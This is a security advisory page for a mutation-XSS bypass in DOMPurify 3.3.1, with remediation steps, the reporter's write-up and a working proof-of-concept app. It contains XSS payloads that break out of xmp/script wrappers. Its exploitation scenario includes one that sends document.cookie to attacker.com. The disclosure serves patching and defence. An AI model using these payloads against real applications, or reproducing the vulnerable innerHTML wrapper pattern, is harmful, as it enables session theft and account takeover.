GHSA-h8r8-wccr-v5f2 — MEDIUM AI Security Vulnerability

CISO Take

DOMPurify 3.3.1 can be bypassed via mutation-XSS when sanitized output is re-embedded into special HTML wrappers (xmp, script, iframe, noembed, noframes, noscript) using innerHTML — the sanitized string mutates on the second browser parse. Any AI application that renders user-supplied or LLM-generated HTML through DOMPurify and then re-wraps it via innerHTML is vulnerable to stored or reflected XSS. Patch to 3.3.2 immediately and audit your rendering pipeline for innerHTML combined with these special-wrapper elements.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
dompurify	npm	< 3.3.2	`3.3.2`

Do you use dompurify? You're affected.

Severity & Risk

CVSS 3.1

N/A

EPSS

N/A

KEV Status

Not in KEV

Sophistication

Moderate

Recommended Action

1. PATCH: upgrade dompurify to >= 3.3.2 immediately — this is a targeted fix for the mXSS context-switch vectors. 2. AUDIT: search your codebase for innerHTML assignments paired with xmp, script, iframe, noembed, noframes, or noscript wrapper strings. 3. FIX PATTERNS: replace innerHTML string composition with DOM-safe APIs (createElement, textContent, setAttribute) — never concatenate sanitized strings into new HTML. 4. RENDERING RULE: sanitize at the final render context; never sanitize server-side then re-embed the string client-side in a different parser context. 5. REGRESSION TESTS: add </xmp>, </noscript>, </noembed>, and equivalent parser-breakout sequences to your XSS test suite. 6. CSP: enforce a strict Content-Security-Policy (script-src 'self', no unsafe-inline) to limit blast radius while patching proceeds.

Classification

Code Execution Supply Chain Framework AML.T0010.001 - AI Software AML.T0011 - User Execution AML.T0048.003 - User Harm AML.T0049 - Exploit Public-Facing Application AML.T0078 - Drive-by Compromise

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - Security of AI system

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to sustain treatment of identified AI risks

OWASP LLM Top 10

LLM02 - Insecure Output Handling

Technical Details

NVD Description

## Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). ## Vulnerability The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). ## PoC 1. Start the PoC app: ```bash npm install npm start ``` 2. Open `http://localhost:3001`. 3. Set `Wrapper en sink` to `xmp`. 4. Use payload: ```html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>"> ``` 5. Click `Sanitize + Render`. 6. Observe: - `Sanitized response` still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include `<img src="x" onerror="alert('expoc')">`. - `alert('expoc')` is triggered. 7. Files: - index.html ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html> ``` - server.js ```js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at http://localhost:${port}`); }); ``` - package.json ```json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" /> ## Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior). - Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.). 5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Exploitation Scenario

An attacker targeting a multi-tenant AI chat platform submits a prompt containing: <img src=x alt="</xmp><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>">. The server sanitizes this with DOMPurify 3.3.1 — output retains </xmp> inside the alt attribute, which DOMPurify considers structurally benign. The frontend renders the sanitized string by injecting it into a <xmp> wrapper via innerHTML. The browser's second parse treats </xmp> as a real closing tag, breaking out of the raw-text context and activating the onerror handler. The XSS fires, exfiltrating session tokens and Stripe/Clerk tokens stored in localStorage. Because the conversation is stored and shared, this becomes stored XSS affecting every user who opens that thread — ideal for account takeover across a multi-tenant AI SaaS deployment.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary

References

Timeline

Published

March 27, 2026

Last Modified

March 27, 2026

First Seen

March 27, 2026